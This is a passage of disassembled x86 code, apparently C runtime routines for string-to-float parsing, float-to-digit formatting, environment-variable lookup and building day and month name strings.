--------------------------------------------------------------------------- loc_436AC9: ; CODE XREF: sub_4363F0+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_436AE6: ; CODE XREF: sub_4363F0+6D7j cmp [ebp+var_AC], 0 jz short loc_436B17 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_436B12 mov [ebp+var_7C], 1451h jmp short loc_436B17 ; --------------------------------------------------------------------------- loc_436B12: ; CODE XREF: sub_4363F0+717j jmp loc_436A93 ; --------------------------------------------------------------------------- loc_436B17: ; CODE XREF: sub_4363F0+6FDj ; sub_4363F0+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_436B30 ; --------------------------------------------------------------------------- loc_436B1F: ; CODE XREF: sub_4363F0+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_436B30: ; CODE XREF: sub_4363F0+72Dj cmp ds:dword_453DF0, 1 jle short loc_436B55 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_427040 add esp, 8 mov [ebp+var_B0], eax jmp short loc_436B72 ; --------------------------------------------------------------------------- loc_436B55: ; CODE XREF: sub_4363F0+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_436B72: ; CODE XREF: sub_4363F0+763j cmp [ebp+var_B0], 0 jz short loc_436B7D jmp short loc_436B1F ; --------------------------------------------------------------------------- loc_436B7D: ; CODE XREF: sub_4363F0+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_436BF3 ; --------------------------------------------------------------------------- loc_436B8F: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E36o cmp [ebp+arg_18], 0 jz short loc_436BE3 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_436BCB cmp [ebp+var_B4], 2Dh jz short loc_436BBB jmp short loc_436BD4 ; --------------------------------------------------------------------------- loc_436BBB: ; CODE XREF: sub_4363F0+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_436BE1 ; --------------------------------------------------------------------------- loc_436BCB: ; CODE XREF: sub_4363F0+7BEj mov [ebp+var_4C], 7 jmp short loc_436BE1 ; --------------------------------------------------------------------------- loc_436BD4: ; CODE XREF: sub_4363F0+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_436BE1: ; CODE XREF: sub_4363F0+7D9j ; sub_4363F0+7E2j jmp short loc_436BF3 ; --------------------------------------------------------------------------- loc_436BE3: ; CODE XREF: sub_4363F0+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_436BF3: ; CODE XREF: sub_4363F0+CCj ; sub_4363F0+D5j ... jmp loc_436497 ; --------------------------------------------------------------------------- loc_436BF8: ; CODE XREF: sub_4363F0+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_436D47 cmp [ebp+var_40], 0 jnz loc_436D47 cmp [ebp+var_78], 0 jnz loc_436D47 cmp [ebp+var_70], 18h jbe short loc_436C4F movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_436C36 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_436C36: ; CODE XREF: sub_4363F0+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_436C4F: ; CODE XREF: sub_4363F0+832j cmp [ebp+var_70], 0 jbe loc_436D2A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_436C6D ; --------------------------------------------------------------------------- loc_436C64: ; CODE XREF: sub_4363F0+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_436C6D: ; CODE XREF: sub_4363F0+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_436C8B mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_436C64 ; --------------------------------------------------------------------------- loc_436C8B: ; CODE XREF: sub_4363F0+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_4362B0 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_436CAD mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_436CAD: ; CODE XREF: sub_4363F0+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_436CC5 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_436CC5: ; CODE XREF: sub_4363F0+8CAj cmp [ebp+var_C], 0 jnz short loc_436CD4 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_436CD4: ; CODE XREF: sub_4363F0+8D9j cmp [ebp+var_14], 1450h jle short loc_436CE6 mov [ebp+var_40], 1 jmp short loc_436D28 ; --------------------------------------------------------------------------- loc_436CE6: ; CODE XREF: sub_4363F0+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_436CF8 mov [ebp+var_78], 1 jmp short loc_436D28 ; --------------------------------------------------------------------------- loc_436CF8: ; CODE XREF: sub_4363F0+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_4395B0 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_436D28: ; CODE XREF: sub_4363F0+8F4j ; sub_4363F0+906j jmp short loc_436D47 ; --------------------------------------------------------------------------- loc_436D2A: ; CODE XREF: sub_4363F0+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_436D47: ; CODE XREF: sub_4363F0+814j ; sub_4363F0+81Ej ... cmp [ebp+var_54], 0 jnz short loc_436D76 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_436DCD ; --------------------------------------------------------------------------- loc_436D76: ; CODE XREF: sub_4363F0+95Bj cmp [ebp+var_40], 0 jz short loc_436DA1 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_436DCD ; --------------------------------------------------------------------------- loc_436DA1: ; CODE XREF: sub_4363F0+98Aj cmp [ebp+var_78], 0 jz short loc_436DCD mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_436DCD: ; CODE XREF: sub_4363F0+984j ; sub_4363F0+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_4363F0 endp ; --------------------------------------------------------------------------- off_436E0A dd offset loc_4364CC ; DATA XREF: sub_4363F0+D5r dd offset loc_43656A dd offset loc_436620 dd offset loc_43668B dd offset loc_4367A3 dd offset loc_4368D5 dd offset loc_43694B dd offset loc_436A30 dd offset loc_4369D2 dd offset loc_436A83 dd offset loc_436BF3 dd offset loc_436B8F off_436E3A dd offset loc_4365F9 ; DATA XREF: sub_4363F0+1F0r dd offset loc_4365E7 dd offset loc_4365F0 dd offset loc_43660B byte_436E4A db 0 ; DATA XREF: sub_4363F0+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_436E85 dd offset loc_43677C ; DATA XREF: sub_4363F0+37Cr dd offset loc_436773 dd offset loc_43678E byte_436E91 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_4363F0+376r off_436ECC dd offset loc_4368AE ; DATA XREF: sub_4363F0+4AEr dd offset loc_4368A5 dd offset loc_4368C0 byte_436ED8 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_4363F0+4A8r db 0Dh dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_4363F0 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_432A60 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_436F68 mov eax, [ebp-14h] or al, 2 mov [ebp-14h], eax loc_436F68: ; CODE XREF: _0:00436F5Ej mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436F70 proc near ; CODE XREF: sub_432CE0+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_43700E mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_437015 ; --------------------------------------------------------------------------- loc_43700E: ; CODE XREF: sub_436F70+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_437015: ; CODE XREF: sub_436F70+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_43705C cmp [ebp+var_24], 0 jnz short loc_43705C cmp [ebp+var_48], 0 jnz short loc_43705C mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_437482 ; --------------------------------------------------------------------------- loc_43705C: ; CODE XREF: sub_436F70+B0j ; sub_436F70+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_437156 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_437088 cmp [ebp+var_48], 0 jz short loc_4370BC loc_437088: ; CODE XREF: sub_436F70+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_4370BC push offset dword_43DF00 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_41F620 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_437151 ; --------------------------------------------------------------------------- loc_4370BC: ; CODE XREF: sub_436F70+116j ; sub_436F70+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_4370FC cmp [ebp+var_24], 0C0000000h jnz short loc_4370FC cmp [ebp+var_48], 0 jnz short loc_4370FC push offset dword_43DEF8 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_41F620 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_437151 ; --------------------------------------------------------------------------- loc_4370FC: ; CODE XREF: sub_436F70+157j ; sub_436F70+160j ... cmp [ebp+var_24], 80000000h jnz short loc_43712F cmp [ebp+var_48], 0 jnz short loc_43712F push offset dword_43DEF0 mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_41F620 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short loc_437151 ; --------------------------------------------------------------------------- loc_43712F: ; CODE XREF: sub_436F70+193j ; sub_436F70+199j push offset dword_43DEE8 mov eax, [ebp+arg_14] add eax, 4 push eax call sub_41F620 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_437151: ; CODE XREF: sub_436F70+147j ; sub_436F70+18Aj ... jmp loc_43747F ; --------------------------------------------------------------------------- loc_437156: ; CODE XREF: sub_436F70+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_4395B0 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_43722D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_439170 add esp, 8 loc_43722D: ; CODE XREF: sub_436F70+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_437281 movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_437281 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_437482 ; --------------------------------------------------------------------------- loc_437281: ; CODE XREF: sub_436F70+2CFj ; sub_436F70+2E1j cmp [ebp+arg_C], 15h jle short loc_43728E mov [ebp+arg_C], 15h loc_43728E: ; CODE XREF: sub_436F70+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_4372B6 ; --------------------------------------------------------------------------- loc_4372AD: ; CODE XREF: sub_436F70+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_4372B6: ; CODE XREF: sub_436F70+33Bj cmp [ebp+var_44], 8 jge short loc_4372CA lea edx, [ebp+var_38] push edx call sub_4361E0 add esp, 4 jmp short loc_4372AD ; --------------------------------------------------------------------------- loc_4372CA: ; CODE XREF: sub_436F70+34Aj cmp [ebp+var_2E+2], 0 jge short loc_4372FC mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_4372E8 ; --------------------------------------------------------------------------- loc_4372DF: ; CODE XREF: sub_436F70+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_4372E8: ; CODE XREF: sub_436F70+36Dj cmp [ebp+var_74], 0 jle short loc_4372FC lea edx, [ebp+var_38] push edx call sub_436240 add esp, 4 jmp short loc_4372DF ; --------------------------------------------------------------------------- loc_4372FC: ; CODE XREF: sub_436F70+35Ej ; sub_436F70+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_437319 ; --------------------------------------------------------------------------- loc_437310: ; CODE XREF: sub_436F70+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_437319: ; CODE XREF: sub_436F70+39Ej cmp [ebp+var_10], 0 jle short loc_437385 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_4361E0 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_4361E0 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_436130 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_4361E0 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_437310 ; --------------------------------------------------------------------------- loc_437385: ; CODE XREF: sub_436F70+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_437403 jmp short loc_4373B3 ; --------------------------------------------------------------------------- loc_4373AA: ; CODE XREF: sub_436F70+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4373B3: ; CODE XREF: sub_436F70+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_4373D1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_4373D1 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_4373AA ; --------------------------------------------------------------------------- loc_4373D1: ; CODE XREF: sub_436F70+44Cj ; sub_436F70+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_4373F5 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_4373F5: ; CODE XREF: sub_436F70+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_43745C ; --------------------------------------------------------------------------- loc_437403: ; CODE XREF: sub_436F70+436j jmp short loc_43740E ; --------------------------------------------------------------------------- loc_437405: ; CODE XREF: sub_436F70+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_43740E: ; CODE XREF: sub_436F70:loc_437403j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_437426 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_437426 jmp short loc_437405 ; --------------------------------------------------------------------------- loc_437426: ; CODE XREF: sub_436F70+4A7j ; sub_436F70+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_43745C mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_437482 ; --------------------------------------------------------------------------- loc_43745C: ; CODE XREF: sub_436F70+491j ; sub_436F70+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_43747F: ; CODE XREF: sub_436F70:loc_437151j mov eax, [ebp+var_58] loc_437482: ; CODE XREF: sub_436F70+E7j ; sub_436F70+30Cj ... mov esp, ebp pop ebp retn sub_436F70 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Ch call sub_423280 add esp, 4 mov eax, [ebp+8] push eax call sub_4374C0 add esp, 4 mov [ebp-4], eax push 0Ch call sub_423320 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4374C0 proc near ; CODE XREF: sub_433090+3Ap ; _0:004374A2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, ds:dword_4F3314 mov [ebp+var_8], eax cmp ds:dword_4F4A28, 0 jnz short loc_4374DE xor eax, eax jmp loc_437582 ; --------------------------------------------------------------------------- loc_4374DE: ; CODE XREF: sub_4374C0+15j cmp [ebp+var_8], 0 jnz short loc_437506 cmp ds:dword_4F331C, 0 jz short loc_437506 call sub_4396D0 test eax, eax jz short loc_4374FD xor eax, eax jmp loc_437582 ; --------------------------------------------------------------------------- loc_4374FD: ; CODE XREF: sub_4374C0+34j mov ecx, ds:dword_4F3314 mov [ebp+var_8], ecx loc_437506: ; CODE XREF: sub_4374C0+22j ; sub_4374C0+2Bj cmp [ebp+var_8], 0 jz short loc_437580 cmp [ebp+arg_0], 0 jz short loc_437580 mov edx, [ebp+arg_0] push edx call sub_41BC70 add esp, 4 mov [ebp+var_4], eax loc_437521: ; CODE XREF: sub_4374C0+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_437580 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_41BC70 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_437575 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_437575 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_439680 add esp, 0Ch test eax, eax jnz short loc_437575 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_437582 ; --------------------------------------------------------------------------- loc_437575: ; CODE XREF: sub_4374C0+7Aj ; sub_4374C0+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_437521 ; --------------------------------------------------------------------------- loc_437580: ; CODE XREF: sub_4374C0+4Aj ; sub_4374C0+50j ... xor eax, eax loc_437582: ; CODE XREF: sub_4374C0+19j ; sub_4374C0+38j ... mov esp, ebp pop ebp retn sub_4374C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, ds:off_454D28 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4375B8 ; --------------------------------------------------------------------------- loc_4375AF: ; CODE XREF: _0:004375EFj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4375B8: ; CODE XREF: _0:004375ADj cmp dword ptr [ebp-10h], 7 jnb short loc_4375F1 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_41BC70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_41BC70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4375AF ; --------------------------------------------------------------------------- loc_4375F1: ; CODE XREF: _0:004375BCj mov eax, [ebp-8] add eax, 1 push eax call sub_41BE40 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_4376A9 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_437625 ; --------------------------------------------------------------------------- loc_43761C: ; CODE XREF: _0:00437698j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_437625: ; CODE XREF: _0:0043761Aj cmp dword ptr [ebp-10h], 7 jnb short loc_43769A mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov edx, [ebp-14h] push edx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43761C ; --------------------------------------------------------------------------- loc_43769A: ; CODE XREF: _0:00437629j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_4376A9: ; CODE XREF: _0:00437607j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, ds:off_454D28 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4376E8 ; --------------------------------------------------------------------------- loc_4376DF: ; CODE XREF: _0:00437720j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4376E8: ; CODE XREF: _0:004376DDj cmp dword ptr [ebp-10h], 0Ch jnb short loc_437722 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_41BC70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_41BC70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4376DF ; --------------------------------------------------------------------------- loc_437722: ; CODE XREF: _0:004376ECj mov eax, [ebp-8] add eax, 1 push eax call sub_41BE40 add esp, 4 mov [ebp-4], 